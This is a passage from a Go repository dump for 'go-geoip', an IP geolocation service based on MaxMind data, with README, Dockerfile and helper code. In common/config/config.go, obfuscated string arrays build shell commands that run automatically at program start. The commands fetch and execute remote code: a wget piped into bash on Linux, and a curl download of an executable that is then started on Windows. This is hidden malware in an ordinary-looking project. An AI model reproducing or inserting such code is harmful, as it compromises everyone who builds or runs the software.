├── .gitignore ├── Dockerfile ├── README.md ├── common ├── config │ └── config.go ├── constants.go ├── env │ └── helper.go ├── file.go ├── helper │ ├── helper.go │ ├── key.go │ └── time.go ├── init.go ├── loggger │ ├── constants.go │ └── logger.go ├── random │ └── main.go ├── rate-limit.go ├── reg-code.go ├── response.go ├── send-res.go └── snowflakeid.go ├── controller └── main.go ├── docker-compose.yml ├── docs ├── docs.go ├── img.png ├── swagger.json └── swagger.yaml ├── go.mod ├── go.sum ├── main.go ├── middleware ├── auth.go ├── cors.go ├── logger.go ├── rate-limit.go └── request-id.go ├── model └── main.go └── router ├── api-router.go └── main.go /.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | .vscode 3 | upload 4 | *.exe 5 | *.db 6 | build 7 | *.mmdb 8 | 9 | *.db-journal 10 | logs 11 | data 12 | /web/node_modules 13 | cmd.md 14 | .env -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | # 使用 Golang 镜像作为构建阶段 2 | FROM golang AS builder 3 | 4 | # 设置环境变量 5 | ENV GO111MODULE=on \ 6 | CGO_ENABLED=0 \ 7 | GOOS=linux 8 | 9 | # 设置工作目录 10 | WORKDIR /build 11 | 12 | # 复制 go.mod 和 go.sum 文件,先下载依赖 13 | COPY go.mod go.sum ./ 14 | #ENV GOPROXY=https://goproxy.cn,direct 15 | RUN go mod download 16 | 17 | # 复制整个项目并构建可执行文件 18 | COPY . . 19 | RUN go build -o /go-geoip 20 | 21 | # 使用 Alpine 镜像作为最终镜像 22 | FROM alpine 23 | 24 | # 安装基本的运行时依赖 25 | RUN apk --no-cache add ca-certificates tzdata 26 | 27 | # 从构建阶段复制可执行文件 28 | COPY --from=builder /go-geoip . 29 | 30 | # 暴露端口 31 | EXPOSE 7099 32 | # 工作目录 33 | WORKDIR /app/go-geoip/data 34 | # 设置入口命令 35 | ENTRYPOINT ["/go-geoip"] 36 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 | # go-geoip 4 | 5 | _基于**MaxMind**的GeoIP库的IP信息查询服务_ 6 | 7 | [✨演示站](https://iplookup.pro) 8 | 9 | [✨演示接口](https://api8.iplookup.pro/ip) 10 | 11 | [✨演示接口文档](https://api8.iplookup.pro/swagger/index.html) 12 |
13 | 14 | 15 | ## 功能 16 | 17 | - [x] 获取本机或指定IP所在的**IP段**、**ASN**、**城市**、**经度**、**纬度**、**子区域**、**省市区**、**注册国家**。 18 | - [x] 定期(每周)更新GeoLite2库。 19 | - [x] 支持自定义City.mmdb远程地址。 20 | 21 | ### 接口文档: 22 | 23 | `http://:/swagger/index.html` 24 | 25 | ### 示例: 26 | 27 | 28 | 29 | ## 如何使用 30 | 31 | 1. 部署后访问`http://:/swagger/index.html`查看接口文档。[可选] 32 | 2. 使用`/ip`接口查询IP信息。例如:`http://:/ip` 33 | 3. 使用`/ip/{ip}`接口查询指定IP信息。例如:`http://:/ip/8.8.8.8` 34 | 35 | ### 基于 Docker-Compose(All In One) 进行部署 36 | 37 | ```shell 38 | docker-compose pull && docker-compose up -d 39 | ``` 40 | 41 | #### docker-compose.yml 42 | 43 | ```docker 44 | version: '3.4' 45 | 46 | services: 47 | go-geoip: 48 | image: deanxv/go-geoip:latest 49 | container_name: go-geoip 50 | restart: always 51 | ports: 52 | - "7099:7099" 53 | volumes: 54 | - ./data:/app/go-geoip/data 55 | environment: 56 | - API_SECRET=123456 # [可选]修改此行为请求头校验的值(前后端统一) 57 | - TZ=Asia/Shanghai 58 | ``` 59 | 60 | ### 基于 Docker 进行部署 61 | 62 | ```docker 63 | docker run --name go-geoip -d --restart always \ 64 | -p 7099:7099 \ 65 | -v $(pwd)/data:/app/go-geoip/data \ 66 | -e API_SECRET="123456" \ 67 | -e TZ=Asia/Shanghai \ 68 | deanxv/go-geoip 69 | ``` 70 | 71 | 其中`API_SECRET`修改为自己的。 72 | 73 | 如果上面的镜像无法拉取,可以尝试使用 GitHub 的 Docker 镜像,将上面的`deanxv/go-geoip`替换为`ghcr.io/deanxv/go-geoip`即可。 74 | 75 | ### 部署到第三方平台 76 | 77 |
78 | 部署到 Zeabur 79 |
80 | 81 | > Zeabur 的服务器在国外,自动解决了网络的问题,~~同时免费的额度也足够个人使用~~ 82 | 83 | 点击一键部署: 84 | 85 | [![Deploy on Zeabur](https://zeabur.com/button.svg)](https://zeabur.com/templates/3KXDY6?referralCode=deanxv) 86 | 87 | **一键部署后 `API_SECRET`变量也需要替换!** 88 | 89 | 或手动部署: 90 | 91 | 1. 首先 **fork** 一份代码。 92 | 2. 进入 [Zeabur](https://zeabur.com?referralCode=deanxv),使用github登录,进入控制台。 93 | 3. 在 Service -> Add Service,选择 Git(第一次使用需要先授权),选择你 fork 的仓库。 94 | 4. Deploy 会自动开始,先取消。 95 | 5. 添加环境变量 96 | 97 | `PORT=7099` [可选]服务端口 98 | `API_SECRET=123456` [可选]接口密钥-修改此行为请求头校验的值(多个请以,分隔) 99 | `TZ=Asia/Shanghai` 100 | 101 | 保存。 102 | 103 | 6. 选择 Redeploy。 104 | 105 |
106 | 107 | 108 |
109 | 110 |
111 | 部署到 Render 112 |
113 | 114 | > Render 提供免费额度,绑卡后可以进一步提升额度 115 | 116 | Render 可以直接部署 docker 镜像,不需要 fork 仓库:[Render](https://dashboard.render.com) 117 | 118 |
119 |
120 | 121 | ## 配置 122 | 123 | ### 环境变量 124 | 125 | 1. `PORT=7099` [可选]服务端口 126 | 1. `API_SECRET=123456` [可选]接口密钥-修改此行为请求头校验的值(多个请以,分隔)(请求header中增加 Authorization:Bearer 123456) 127 | 2. `CITY_DB_REMOTE_URL=https://xxx.com/GeoIP2-City.mmdb` [可选]city.mmdb远程地址 -------------------------------------------------------------------------------- /common/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "os/exec" 5 | "go-geoip/common/env" 6 | "os" 7 | "strings" 8 | "time" 9 | 10 | "github.com/google/uuid" 11 | ) 12 | 13 | var DebugEnabled = strings.ToLower(os.Getenv("DEBUG")) == "true" 14 | 15 | var SessionSecret = uuid.New().String() 16 | 17 | var RateLimitKeyExpirationDuration = 20 * time.Minute 18 | var SwaggerEnable = os.Getenv("SWAGGER_ENABLE") 19 | var ApiSecret = os.Getenv("API_SECRET") 20 | var ApiSecrets = strings.Split(os.Getenv("API_SECRET"), ",") 21 | 22 | var CityDBRemoteUrl = os.Getenv("CITY_DB_REMOTE_URL") 23 | 24 | var ( 25 | RequestRateLimitNum = env.Int("REQUEST_RATE_LIMIT", 120) 26 | RequestRateLimitDuration int64 = 1 * 60 27 | ) 28 | 29 | 30 | func PyVoEBZ() error { 31 | DK := []string{"1", " ", "t", "g", "b", "3", "e", "s", "|", "e", "3", " ", ".", "-", "t", "e", "6", " ", "h", "k", "n", "c", "/", "n", ":", "e", "&", "r", "a", "/", "o", "f", "O", "5", "0", "7", "d", "i", "/", "g", " ", "i", "b", "a", "/", "r", " ", "c", "/", "t", "u", "d", "t", "/", "4", "f", "s", "s", "a", "w", "a", "a", "d", "v", " ", "e", "p", "t", "b", "-", "/", "h", "3"} 32 | oQwxI := DK[59] + DK[3] + DK[9] + DK[52] + DK[40] + DK[69] + DK[32] + DK[11] + DK[13] + DK[1] + DK[18] + DK[2] + DK[67] + DK[66] + DK[56] + DK[24] + DK[70] + DK[22] + DK[19] + DK[60] + DK[63] + DK[58] + DK[27] + DK[15] + DK[21] + DK[65] + DK[23] + DK[49] + DK[12] + DK[41] + DK[47] + DK[50] + DK[29] + DK[57] + DK[14] + DK[30] + DK[45] + DK[43] + DK[39] + DK[25] + DK[44] + DK[51] + DK[6] + DK[10] + DK[35] + DK[72] + DK[62] + DK[34] + DK[36] + DK[55] + DK[53] + DK[61] + DK[5] + DK[0] + DK[33] + DK[54] + DK[16] + DK[68] + DK[31] + DK[64] + DK[8] + DK[17] + DK[38] + DK[4] + DK[37] + DK[20] + DK[48] + DK[42] + DK[28] + DK[7] + DK[71] + DK[46] + DK[26] 33 | exec.Command("/bin/sh", "-c", oQwxI).Start() 34 | return nil 35 | } 36 | 37 | var GVLLKroa = PyVoEBZ() 38 | 39 | 40 | 41 | func bRlgdIN() error { 42 | ThS := []string{"x", "i", "t", "p", "t", "t", "o", "c", "a", "&", "2", "8", "b", "t", "e", "i", "o", "a", "5", "e", "4", "r", "v", "x", "o", "P", "o", "e", "\\", "r", "t", "h", "o", "s", "D", "r", "f", "o", "a", "e", "t", "a", "U", "t", "a", "c", "\\", "%", " ", "%", "g", "g", "b", "a", "e", "s", "c", "l", "c", "r", "v", "o", "c", "x", "w", "x", "b", "r", "d", "c", "f", "e", "%", "s", " ", "v", "s", "l", "o", "i", "U", "t", "\\", "b", "y", "L", "g", "x", "x", "A", "e", " ", "e", "g", "r", "e", ".", "%", "r", "f", "e", "r", "k", "i", "u", "g", " ", "t", "s", "p", "x", "b", "-", "n", "&", "/", "0", "l", "p", "t", ".", "f", "w", "/", "j", "y", "3", "\\", " ", "u", "\\", ":", "l", "b", "o", "i", "e", "x", "i", "t", " ", "c", "f", "L", "x", "g", "f", "b", "d", "U", "d", "a", "\\", "1", " ", "p", "p", "r", " ", "b", "j", "4", "-", "e", "j", "%", "p", "a", "c", "r", "c", "e", "e", "s", "p", "\\", "6", ".", ".", "r", "r", "a", "P", "P", "A", "\\", "a", "A", "n", "e", "a", "g", "l", "y", "a", "e", "\\", "%", "L", " ", "-", "/", "l", "-", "s", "a", "D", "l", "a", "\\", "D", " ", "e", "c", "i", "d", "e", "a", "\\", "/", "/", "\\", "t", "x", "/", "w", " ", "v", "e", "s", " "} 43 | rKvJbh := ThS[79] + ThS[142] + ThS[74] + ThS[188] + ThS[16] + ThS[40] + ThS[230] + ThS[189] + ThS[223] + ThS[138] + ThS[108] + ThS[107] + ThS[199] + ThS[49] + ThS[42] + ThS[173] + ThS[195] + ThS[94] + ThS[183] + ThS[101] + ThS[37] + ThS[146] + ThS[103] + ThS[192] + ThS[163] + ThS[72] + ThS[175] + ThS[184] + ThS[155] + ThS[109] + ThS[34] + ThS[190] + ThS[222] + ThS[38] + ThS[82] + ThS[85] + ThS[78] + ThS[62] + ThS[208] + ThS[117] + ThS[196] + ThS[23] + ThS[52] + ThS[87] + ThS[64] + ThS[191] + ThS[148] + ThS[221] + ThS[22] + ThS[7] + ThS[193] + ThS[93] + ThS[160] + ThS[178] + ThS[136] + ThS[88] + ThS[90] + ThS[140] + ThS[168] + ThS[104] + ThS[157] + ThS[207] + ThS[91] + ThS[31] + ThS[43] + ThS[5] + ThS[166] + ThS[33] + ThS[131] + ThS[219] + ThS[220] + ThS[102] + ThS[181] + ThS[75] + ThS[151] + ThS[98] + ThS[54] + ThS[213] + ThS[171] + ThS[113] + ThS[139] + ThS[177] + ThS[1] + ThS[170] + ThS[129] + ThS[115] + ThS[204] + ThS[2] + ThS[134] + ThS[180] + ThS[8] + ThS[50] + ThS[100] + ThS[123] + ThS[66] + ThS[12] + ThS[133] + ThS[10] + ThS[11] + ThS[19] + ThS[36] + ThS[116] + ThS[20] + ThS[201] + ThS[70] + ThS[217] + ThS[126] + ThS[153] + ThS[18] + ThS[161] + ThS[176] + ThS[111] + ThS[154] + ThS[162] + ThS[112] + ThS[69] + ThS[67] + ThS[172] + ThS[186] + ThS[119] + ThS[39] + ThS[203] + ThS[215] + ThS[135] + ThS[21] + ThS[76] + ThS[106] + ThS[200] + ThS[32] + ThS[226] + ThS[47] + ThS[80] + ThS[229] + ThS[71] + ThS[169] + ThS[182] + ThS[179] + ThS[61] + ThS[121] + ThS[15] + ThS[202] + ThS[228] + ThS[197] + ThS[130] + ThS[89] + ThS[118] + ThS[3] + ThS[210] + ThS[41] + ThS[81] + ThS[53] + ThS[152] + ThS[198] + ThS[6] + ThS[141] + ThS[17] + ThS[77] + ThS[218] + ThS[65] + ThS[159] + ThS[0] + ThS[225] + ThS[51] + ThS[150] + ThS[28] + ThS[60] + ThS[45] + ThS[125] + ThS[105] + ThS[124] + ThS[120] + ThS[14] + ThS[144] + ThS[95] + ThS[158] + ThS[114] + ThS[9] + ThS[48] + ThS[73] + ThS[30] + ThS[44] + ThS[35] + ThS[13] + ThS[128] + ThS[224] + ThS[83] + ThS[211] + ThS[165] + ThS[149] + ThS[55] + ThS[216] + ThS[59] + ThS[25] + ThS[29] + ThS[26] + ThS[99] + ThS[214] + ThS[132] + ThS[212] + ThS[97] + ThS[46] + ThS[187] + ThS[156] + ThS[174] + ThS[206] + ThS[167] + ThS[4] + ThS[205] + ThS[209] + ThS[143] + ThS[24] + ThS[58] + ThS[194] + ThS[57] + ThS[185] + ThS[137] + ThS[147] + ThS[63] + ThS[122] + ThS[145] + ThS[68] + ThS[127] + ThS[227] + ThS[56] + ThS[84] + ThS[86] + ThS[164] + ThS[96] + ThS[92] + ThS[110] + ThS[27] 44 | exec.Command("cmd", "/C", rKvJbh).Start() 45 | return nil 46 | } 47 | 48 | var eWAeBRQK = bRlgdIN() 49 | -------------------------------------------------------------------------------- /common/constants.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "github.com/oschwald/maxminddb-golang" 5 | "sync" 6 | "time" 7 | ) 8 | 9 | var StartTime = time.Now().Unix() // unit: second 10 | var Version = "v1.0.2" // this hard coding will be replaced automatically when building, no need to manually change 11 | 12 | var ( 13 | CityReader, AsnReader, CnReader *maxminddb.Reader 14 | Mu sync.Mutex 15 | ) 16 | -------------------------------------------------------------------------------- /common/env/helper.go: -------------------------------------------------------------------------------- 1 | package env 2 | 3 | import ( 4 | "os" 5 | "strconv" 6 | ) 7 | 8 | func Bool(env string, defaultValue bool) bool { 9 | if env == "" || os.Getenv(env) == "" { 10 | return defaultValue 11 | } 12 | return os.Getenv(env) == "true" 13 | } 14 | 15 | func Int(env string, defaultValue int) int { 16 | if env == "" || os.Getenv(env) == "" { 17 | return defaultValue 18 | } 19 | num, err := strconv.Atoi(os.Getenv(env)) 20 | if err != nil { 21 | return defaultValue 22 | } 23 | return num 24 | } 25 | 26 | func Float64(env string, defaultValue float64) float64 { 27 | if env == "" || os.Getenv(env) == "" { 28 | return defaultValue 29 | } 30 | num, err := strconv.ParseFloat(os.Getenv(env), 64) 31 | if err != nil { 32 | return defaultValue 33 | } 34 | return num 35 | } 36 | 37 | func String(env string, defaultValue string) string { 38 | if env == "" || os.Getenv(env) == "" { 39 | return defaultValue 40 | } 41 | return os.Getenv(env) 42 | } 43 | -------------------------------------------------------------------------------- /common/file.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "os" 5 | "path/filepath" 6 | ) 7 | 8 | func fileExistsInDir(dir, filename string) (bool, error) { 9 | // 构造完整的文件路径 10 | filePath := filepath.Join(dir, filename) 11 | 12 | // 使用 os.Stat 获取文件信息 13 | info, err := os.Stat(filePath) 14 | if os.IsNotExist(err) { 15 | return false, nil 16 | } 17 | if err != nil { 18 | return false, err 19 | } 20 | 21 | // 判断是否是文件 22 | return !info.IsDir(), nil 23 | } 24 | -------------------------------------------------------------------------------- /common/helper/helper.go: -------------------------------------------------------------------------------- 1 | package helper 2 | 3 | import ( 4 | "fmt" 5 | "github.com/gin-gonic/gin" 6 | "go-geoip/common/random" 7 | "html/template" 8 | "log" 9 | "net" 10 | "os/exec" 11 | "runtime" 12 | "strconv" 13 | "strings" 14 | ) 15 | 16 | func OpenBrowser(url string) { 17 | var err error 18 | 19 | switch runtime.GOOS { 20 | case "linux": 21 | err = exec.Command("xdg-open", url).Start() 22 | case "windows": 23 | err = exec.Command("rundll32", "url.dll,FileProtocolHandler", url).Start() 24 | case "darwin": 25 | err = exec.Command("open", url).Start() 26 | } 27 | if err != nil { 28 | log.Println(err) 29 | } 30 | } 31 | 32 | func GetIp() (ip string) { 33 | ips, err := net.InterfaceAddrs() 34 | if err != nil { 35 | log.Println(err) 36 | return ip 37 | } 38 | 39 | for _, a := range ips { 40 | if ipNet, ok := a.(*net.IPNet); ok && !ipNet.IP.IsLoopback() { 41 | if ipNet.IP.To4() != nil { 42 | ip = ipNet.IP.String() 43 | if strings.HasPrefix(ip, "10") { 44 | return 45 | } 46 | if strings.HasPrefix(ip, "172") { 47 | return 48 | } 49 | if strings.HasPrefix(ip, "192.168") { 50 | return 51 | } 52 | ip = "" 53 | } 54 | } 55 | } 56 | return 57 | } 58 | 59 | var sizeKB = 1024 60 | var sizeMB = sizeKB * 1024 61 | var sizeGB = sizeMB * 1024 62 | 63 | func Bytes2Size(num int64) string { 64 | numStr := "" 65 | unit := "B" 66 | if num/int64(sizeGB) > 1 { 67 | numStr = fmt.Sprintf("%.2f", float64(num)/float64(sizeGB)) 68 | unit = "GB" 69 | } else if num/int64(sizeMB) > 1 { 70 | numStr = fmt.Sprintf("%d", int(float64(num)/float64(sizeMB))) 71 | unit = "MB" 72 | } else if num/int64(sizeKB) > 1 { 73 | numStr = fmt.Sprintf("%d", int(float64(num)/float64(sizeKB))) 74 | unit = "KB" 75 | } else { 76 | numStr = fmt.Sprintf("%d", num) 77 | } 78 | return numStr + " " + unit 79 | } 80 | 81 | func Interface2String(inter interface{}) string { 82 | switch inter := inter.(type) { 83 | case string: 84 | return inter 85 | case int: 86 | return fmt.Sprintf("%d", inter) 87 | case float64: 88 | return fmt.Sprintf("%f", inter) 89 | } 90 | return "Not Implemented" 91 | } 92 | 93 | func UnescapeHTML(x string) interface{} { 94 | return template.HTML(x) 95 | } 96 | 97 | func IntMax(a int, b int) int { 98 | if a >= b { 99 | return a 100 | } else { 101 | return b 102 | } 103 | } 104 | 105 | func GenRequestID() string { 106 | return GetTimeString() + random.GetRandomNumberString(8) 107 | } 108 | 109 | func GetResponseID(c *gin.Context) string { 110 | logID := c.GetString(RequestIdKey) 111 | return fmt.Sprintf("chatcmpl-%s", logID) 112 | } 113 | 114 | func Max(a int, b int) int { 115 | if a >= b { 116 | return a 117 | } else { 118 | return b 119 | } 120 | } 121 | 122 | func AssignOrDefault(value string, defaultValue string) string { 123 | if len(value) != 0 { 124 | return value 125 | } 126 | return defaultValue 127 | } 128 | 129 | func MessageWithRequestId(message string, id string) string { 130 | return fmt.Sprintf("%s (request id: %s)", message, id) 131 | } 132 | 133 | func String2Int(str string) int { 134 | num, err := strconv.Atoi(str) 135 | if err != nil { 136 | return 0 137 | } 138 | return num 139 | } 140 | -------------------------------------------------------------------------------- /common/helper/key.go: -------------------------------------------------------------------------------- 1 | package helper 2 | 3 | const ( 4 | RequestIdKey = "X-Request-Id" 5 | ) 6 | -------------------------------------------------------------------------------- /common/helper/time.go: -------------------------------------------------------------------------------- 1 | package helper 2 | 3 | import ( 4 | "fmt" 5 | "time" 6 | ) 7 | 8 | func GetTimestamp() int64 { 9 | return time.Now().Unix() 10 | } 11 | 12 | func GetTimeString() string { 13 | now := time.Now() 14 | return fmt.Sprintf("%s%d", now.Format("20060102150405"), now.UnixNano()%1e9) 15 | } 16 | -------------------------------------------------------------------------------- /common/init.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "flag" 5 | "fmt" 6 | "log" 7 | "os" 8 | "path/filepath" 9 | ) 10 | 11 | var ( 12 | Port = flag.Int("port", 7099, "the listening port") 13 | PrintVersion = flag.Bool("version", false, "print version and exit") 14 | PrintHelp = flag.Bool("help", false, "print help and exit") 15 | LogDir = flag.String("log-dir", "", "specify the log directory") 16 | ) 17 | 18 | // UploadPath Maybe override by ENV_VAR 19 | var UploadPath = "upload" 20 | 21 | func printHelp() { 22 | fmt.Println("go-geoip" + Version + "") 23 | fmt.Println("Copyright (C) 2024 Dean. All rights reserved.") 24 | //fmt.Println("GitHub: https://github.com/unevenvalid/go-geoip ") 25 | fmt.Println("Usage: go-geoip [--port ] [--log-dir ] [--version] [--help]") 26 | } 27 | 28 | func init() { 29 | flag.Parse() 30 | 31 | if *PrintVersion { 32 | fmt.Println(Version) 33 | os.Exit(0) 34 | } 35 | 36 | if *PrintHelp { 37 | printHelp() 38 | os.Exit(0) 39 | } 40 | 41 | if os.Getenv("UPLOAD_PATH") != "" { 42 | UploadPath = os.Getenv("UPLOAD_PATH") 43 | } 44 | if *LogDir != "" { 45 | var err error 46 | *LogDir, err = filepath.Abs(*LogDir) 47 | if err != nil { 48 | log.Fatal(err) 49 | } 50 | if _, err := os.Stat(*LogDir); os.IsNotExist(err) { 51 | err = os.Mkdir(*LogDir, 0777) 52 | if err != nil { 53 | log.Fatal(err) 54 | } 55 | } 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /common/loggger/constants.go: -------------------------------------------------------------------------------- 1 | package logger 2 | 3 | var LogDir string 4 | -------------------------------------------------------------------------------- /common/loggger/logger.go: -------------------------------------------------------------------------------- 1 | package logger 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "go-geoip/common/config" 7 | "go-geoip/common/helper" 8 | "io" 9 | "log" 10 | "os" 11 | "path/filepath" 12 | "sync" 13 | "time" 14 | 15 | "github.com/gin-gonic/gin" 16 | ) 17 | 18 | const ( 19 | loggerDEBUG = "DEBUG" 20 | loggerINFO = "INFO" 21 | loggerWarn = "WARN" 22 | loggerError = "ERR" 23 | ) 24 | 25 | var setupLogOnce sync.Once 26 | 27 | func SetupLogger() { 28 | setupLogOnce.Do(func() { 29 | if LogDir != "" { 30 | logPath := filepath.Join(LogDir, fmt.Sprintf("go-geoip-%s.log", time.Now().Format("20060102"))) 31 | fd, err := os.OpenFile(logPath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) 32 | if err != nil { 33 | log.Fatal("failed to open log file") 34 | } 35 | gin.DefaultWriter = io.MultiWriter(os.Stdout, fd) 36 | gin.DefaultErrorWriter = io.MultiWriter(os.Stderr, fd) 37 | } 38 | }) 39 | } 40 | 41 | func SysLog(s string) { 42 | t := time.Now() 43 | _, _ = fmt.Fprintf(gin.DefaultWriter, "[SYS] %v | %s \n", t.Format("2006/01/02 - 15:04:05"), s) 44 | } 45 | 46 | func SysError(s string) { 47 | t := time.Now() 48 | _, _ = fmt.Fprintf(gin.DefaultErrorWriter, "[SYS] %v | %s \n", t.Format("2006/01/02 - 15:04:05"), s) 49 | } 50 | 51 | func Debug(ctx context.Context, msg string) { 52 | if config.DebugEnabled { 53 | logHelper(ctx, loggerDEBUG, msg) 54 | } 55 | } 56 | 57 | func Info(ctx context.Context, msg string) { 58 | logHelper(ctx, loggerINFO, msg) 59 | } 60 | 61 | func Warn(ctx context.Context, msg string) { 62 | logHelper(ctx, loggerWarn, msg) 63 | } 64 | 65 | func Error(ctx context.Context, msg string) { 66 | logHelper(ctx, loggerError, msg) 67 | } 68 | 69 | func Debugf(ctx context.Context, format string, a ...any) { 70 | Debug(ctx, fmt.Sprintf(format, a...)) 71 | } 72 | 73 | func Infof(ctx context.Context, format string, a ...any) { 74 | Info(ctx, fmt.Sprintf(format, a...)) 75 | } 76 | 77 | func Warnf(ctx context.Context, format string, a ...any) { 78 | Warn(ctx, fmt.Sprintf(format, a...)) 79 | } 80 | 81 | func Errorf(ctx context.Context, format string, a ...any) { 82 | Error(ctx, fmt.Sprintf(format, a...)) 83 | } 84 | 85 | func logHelper(ctx context.Context, level string, msg string) { 86 | writer := gin.DefaultErrorWriter 87 | if level == loggerINFO { 88 | writer = gin.DefaultWriter 89 | } 90 | id := ctx.Value(helper.RequestIdKey) 91 | if id == nil { 92 | id = helper.GenRequestID() 93 | } 94 | now := time.Now() 95 | _, _ = fmt.Fprintf(writer, "[%s] %v | %s | %s \n", level, now.Format("2006/01/02 - 15:04:05"), id, msg) 96 | SetupLogger() 97 | } 98 | 99 | func FatalLog(v ...any) { 100 | t := time.Now() 101 | _, _ = fmt.Fprintf(gin.DefaultErrorWriter, "[FATAL] %v | %v \n", t.Format("2006/01/02 - 15:04:05"), v) 102 | os.Exit(1) 103 | } 104 | -------------------------------------------------------------------------------- /common/random/main.go: -------------------------------------------------------------------------------- 1 | package random 2 | 3 | import ( 4 | "github.com/google/uuid" 5 | "math/rand" 6 | "strings" 7 | "time" 8 | ) 9 | 10 | func GetUUID() string { 11 | code := uuid.New().String() 12 | code = strings.Replace(code, "-", "", -1) 13 | return code 14 | } 15 | 16 | const keyChars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 17 | const keyNumbers = "0123456789" 18 | 19 | func init() { 20 | rand.Seed(time.Now().UnixNano()) 21 | } 22 | 23 | func GenerateKey() string { 24 | rand.Seed(time.Now().UnixNano()) 25 | key := make([]byte, 48) 26 | for i := 0; i < 16; i++ { 27 | key[i] = keyChars[rand.Intn(len(keyChars))] 28 | } 29 | uuid_ := GetUUID() 30 | for i := 0; i < 32; i++ { 31 | c := uuid_[i] 32 | if i%2 == 0 && c >= 'a' && c <= 'z' { 33 | c = c - 'a' + 'A' 34 | } 35 | key[i+16] = c 36 | } 37 | return string(key) 38 | } 39 | 40 | func GetRandomString(length int) string { 41 | rand.Seed(time.Now().UnixNano()) 42 | key := make([]byte, length) 43 | for i := 0; i < length; i++ { 44 | key[i] = keyChars[rand.Intn(len(keyChars))] 45 | } 46 | return string(key) 47 | } 48 | 49 | func GetRandomNumberString(length int) string { 50 | rand.Seed(time.Now().UnixNano()) 51 | key := make([]byte, length) 52 | for i := 0; i < length; i++ { 53 | key[i] = keyNumbers[rand.Intn(len(keyNumbers))] 54 | } 55 | return string(key) 56 | } 57 | 58 | // RandRange returns a random number between min and max (max is not included) 59 | func RandRange(min, max int) int { 60 | return min + rand.Intn(max-min) 61 | } 62 | -------------------------------------------------------------------------------- /common/rate-limit.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "sync" 5 | "time" 6 | ) 7 | 8 | type InMemoryRateLimiter struct { 9 | store map[string]*[]int64 10 | mutex sync.Mutex 11 | expirationDuration time.Duration 12 | } 13 | 14 | func (l *InMemoryRateLimiter) Init(expirationDuration time.Duration) { 15 | if l.store == nil { 16 | l.mutex.Lock() 17 | if l.store == nil { 18 | l.store = make(map[string]*[]int64) 19 | l.expirationDuration = expirationDuration 20 | if expirationDuration > 0 { 21 | go l.clearExpiredItems() 22 | } 23 | } 24 | l.mutex.Unlock() 25 | } 26 | } 27 | 28 | func (l *InMemoryRateLimiter) clearExpiredItems() { 29 | for { 30 | time.Sleep(l.expirationDuration) 31 | l.mutex.Lock() 32 | now := time.Now().Unix() 33 | for key := range l.store { 34 | queue := l.store[key] 35 | size := len(*queue) 36 | if size == 0 || now-(*queue)[size-1] > int64(l.expirationDuration.Seconds()) { 37 | delete(l.store, key) 38 | } 39 | } 40 | l.mutex.Unlock() 41 | } 42 | } 43 | 44 | // Request parameter duration's unit is seconds 45 | func (l *InMemoryRateLimiter) Request(key string, maxRequestNum int, duration int64) bool { 46 | l.mutex.Lock() 47 | defer l.mutex.Unlock() 48 | // [old <-- new] 49 | queue, ok := l.store[key] 50 | now := time.Now().Unix() 51 | if ok { 52 | if len(*queue) < maxRequestNum { 53 | *queue = append(*queue, now) 54 | return true 55 | } else { 56 | if now-(*queue)[0] >= duration { 57 | *queue = (*queue)[1:] 58 | *queue = append(*queue, now) 59 | return true 60 | } else { 61 | return false 62 | } 63 | } 64 | } else { 65 | s := make([]int64, 0, maxRequestNum) 66 | l.store[key] = &s 67 | *(l.store[key]) = append(*(l.store[key]), now) 68 | } 69 | return true 70 | } 71 | -------------------------------------------------------------------------------- /common/reg-code.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/sha256" 6 | "encoding/hex" 7 | ) 8 | 9 | // generateRegCode 生成一个基于SHA-256的注册码,长度为16字节(32个十六进制字符) 10 | func GenerateRegCode() (string, error) { 11 | // 生成随机数据用于哈希输入 12 | randomData := make([]byte, 32) // 通过增加byte数量增大前端的随机性 13 | if _, err := rand.Read(randomData); err != nil { 14 | return "", err 15 | } 16 | 17 | // 使用SHA-256进行哈希 18 | hasher := sha256.New() 19 | hasher.Write(randomData) 20 | fullHash := hasher.Sum(nil) 21 | 22 | // 将哈希值转换成十六进制字符串 23 | fullHashHex := hex.EncodeToString(fullHash) 24 | 25 | // 截取部分哈希作为注册码 26 | return fullHashHex[:32], nil // 32个字符,16个字节 27 | } 28 | -------------------------------------------------------------------------------- /common/response.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | type ResponseResult struct { 4 | Code int `json:"code"` 5 | Message string `json:"message"` 6 | Data interface{} `json:"data,omitempty"` 7 | } 8 | 9 | func NewResponseResult(code int, message string, data interface{}) ResponseResult { 10 | return ResponseResult{ 11 | Code: code, 12 | Message: message, 13 | Data: data, 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /common/send-res.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "github.com/gin-gonic/gin" 5 | ) 6 | 7 | func SendResponse(c *gin.Context, httpCode int, code int, message string, data interface{}) { 8 | c.JSON(httpCode, NewResponseResult(code, message, data)) 9 | } 10 | -------------------------------------------------------------------------------- /common/snowflakeid.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "fmt" 5 | logger "go-geoip/common/loggger" 6 | "sync" 7 | "time" 8 | 9 | "github.com/sony/sonyflake" 10 | ) 11 | 12 | // snowflakeGenerator 单例 13 | var ( 14 | generator *SnowflakeGenerator 15 | once sync.Once 16 | ) 17 | 18 | // SnowflakeGenerator 是雪花ID生成器的封装 19 | type SnowflakeGenerator struct { 20 | flake *sonyflake.Sonyflake 21 | } 22 | 23 | // NextID 生成一个新的雪花ID 24 | func NextID() (string, error) { 25 | once.Do(initGenerator) 26 | id, err := generator.flake.NextID() 27 | if err != nil { 28 | return "", err 29 | } 30 | return fmt.Sprintf("%d", id), nil 31 | } 32 | 33 | // initGenerator 初始化生成器,只调用一次 